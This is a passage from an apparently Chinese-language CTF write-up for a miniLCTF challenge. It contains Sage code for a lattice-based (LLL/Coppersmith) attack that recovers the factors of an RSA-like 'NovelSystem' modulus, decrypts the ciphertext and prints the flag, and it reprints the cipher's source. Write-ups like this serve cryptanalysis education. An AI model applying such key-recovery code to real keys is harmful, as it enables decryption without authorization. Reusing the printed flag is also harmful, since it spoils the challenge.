            print("size det(L) - size e^(m*n) = ", floor(diff))
        if strict:
            return -1, -1
    else:
        print("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")
    # display the lattice basis
    if debug:
        matrix_overview(BB, modulus^m)
    # LLL
    if debug:
        print("optimizing basis of the lattice via LLL, this can take a long time")
    BB = BB.LLL()
    if debug:
        print("LLL is done!")
    # transform vector i & j -> polynomials 1 & 2
    if debug:
        print("looking for independent vectors in the lattice")
    found_polynomials = False
    for pol1_idx in range(nn - 1):
        for pol2_idx in range(pol1_idx + 1, nn):
            # for i and j, create the two polynomials
            PR.<a, b> = PolynomialRing(ZZ)
            pol1 = pol2 = 0
            for jj in range(nn):
                pol1 += monomials[jj](a,b) * BB[pol1_idx, jj] / monomials[jj](X, Y)
                pol2 += monomials[jj](a,b) * BB[pol2_idx, jj] / monomials[jj](X, Y)
            # resultant
            PR.<q> = PolynomialRing(ZZ)
            rr = pol1.resultant(pol2)
            # are these good polynomials?
            if rr.is_zero() or rr.monomials() == [1]:
                continue
            else:
                print("found them, using vectors", pol1_idx, "and", pol2_idx)
                found_polynomials = True
                break
        if found_polynomials:
            break
    if not found_polynomials:
        print("no independant vectors could be found. This should very rarely happen...")
        return 0, 0
    rr = rr(q, q)
    # solutions
    soly = rr.roots()
    if len(soly) == 0:
        print("Your prediction (delta) is too small")
        return 0, 0
    soly = soly[0][0]
    ss = pol1(q, soly)
    solx = ss.roots()[0][0]
    return solx, soly
def inthroot(a, n):
    return a.nth_root(n, truncate_mode=True)[0]
N = 103255210447201501371417366314698617128571899104178153644502440939179707560694633551313596814867085426522157527557873368089757491021794381392940645658031944937376477744644393844781470315770893253591718873148298034783254899285894192568113349056391974188706470251298810392910953025658474958447750644663120809161
e = 9583844349143763216577056030562049770207021495053166931622586942299664240152962005166123845294740910682002626836306629541171186155613228080333603389256263599077945629292275075204305859845966709343064493385561097725880568307482154382068336740221552489762224156862649726139521041709368241009505934006275050727466118506845275244191749935821428533956123008950814817446865191293160484499980805375127998664220058827288306710393417375308743911041896280674963812278295706552776413678414777273337864851457733395645762523718466931204393235542589232058708808567310860905450262329471814920834990514208969596816366119172152233564
X = 1 << 469
Y = 2 * inthroot(Integer(2 * N), 2)
res = attack(N, e, 4, 2, X, Y)
print(res) # gives k and p + q, the rest is easy
#(59137369850819406532275717524517585767165464950708158462164450136762195724495413187, 20475741127535118048435692842803317049125018119948443351473506009477900422367314192436495478321956277208904797584417360924744290274238260307774067014335690)
b, c = res[1], N
Dsqrt =  inthroot(Integer(b^2-4*c),2)
p, q = (b + Dsqrt) // 2, (b - Dsqrt) // 2
assert p * q == N
#11486382971898441589289013198690864780869354871041795491785595801633976127714665049779741643398450168581366372073269352216270475337156119910857122881102537,8989358155636676459146679644112452268255663248906647859687910207843924294652649142656753834923506108627538425511148008708473814937082140396916944133233153

攻击求出来的是系数b,c也就是求根公式里的\frac{-b\pm \sqrt{b^{2}-4ac}}{2a}这两个值

这里a==1所以可以直接求出p,q来

后边就是NovelSystem加密,把c,d带进原函数就行.

c = (99256707703226697226473841185259891785249728547098403329816239886722383460401685922071518907503131597586071155779535217957728713395973126772467862964939878117327514388525570332680833383088079421676354296281469250418264543833996288111463346112204924207384792233847819302304599120532752360882845527395569869907, 22655358796075424487044406387957775030913109276145369023351200306937368259451273503046617611110582153415768404632774105652118572620829335937285604752846386248015325031053581797994703852239663030464437053164169557845378554791579176562234005623449839772205446210182378591192462742536627314113540667791362602148)
#跟NovelSystem稍有区别,这里可以算出phi求出d,解密方式和加密用同一函数
phi = (p**2 + p + 1)*(q**2 + q + 1)
d = invert(e,phi)
m = special_power(c,d,N)
flag = b''.join([long_to_bytes(v)[:24] for v in m])
#miniLCTF{CoNt1nu4d_FrActiOn_1s_3o_E@s7_foR_y0u!}

附一下标准NovelSystem的加密函数

from gmpy2 import *
#NovelSystem 加密算法
class NovelSystem:
    def __init__(self, p, q, e):
        self.p = mpz(p)
        self.q = mpz(q)
        self.N = self.p * self.q
        self.beta = 0.397
        self.psi = (self.p ** 2 + self.p + 1) * (self.q ** 2 + self.q + 1)
        self.e = mpz(e)
        self.d = invert(mpz(self.e), mpz(self.psi))
        self.r = 3
    def add_(self, a, b):
        m, n = a
        k, l = b
        if a[1] == 0:
            a, b = b, a
            m, n, k, l = k, l, m, n
        if l == 0:
            if n == 0:
                return (m * k, m + k)
            if (n + k) % self.N == 0:
                if (m - n ** 2) % self.N == 0:
                    return (0, 0)
                return ((m * k + self.r) * invert(m - n * n) % self.N, 0)
            return ((m * k + self.r) * invert(n + k, self.N) % self.N, (m + n * k) * invert(n + k, self.N) % self.N)
        if (m + k + n * l) % self.N != 0:
            return ((m * k + (n + l) * self.r) * invert(m + k + n * l, self.N) % self.N,
                    (n * k + m * l + self.r) * invert(m + k + n * l, self.N) % self.N)
        if (n * k + m * l + self.r) % self.N == 0:
            return (0, 0)
        return ((m * k + (n + l) * self.r) * invert(n * k + m * l + self.r, self.N) % self.N, 0)
    def mul_(self, a, n):
        ans = (0, 0)
        while n > 0:
            if n & 1 == 1:
                ans = self.add_(ans, a)
            a = self.add_(a, a)
            n //= 2
        return ans
    def encrypt(self, m):
        return self.mul_(m, self.e)
    def decrypt(self, c):
        return self.mul_(c, self.d)

最后还差一题ffi估计马上会到

                       

点击阅读全文

上一篇 2023年 5月 25日 am10:28
下一篇 2023年 5月 25日 am10:30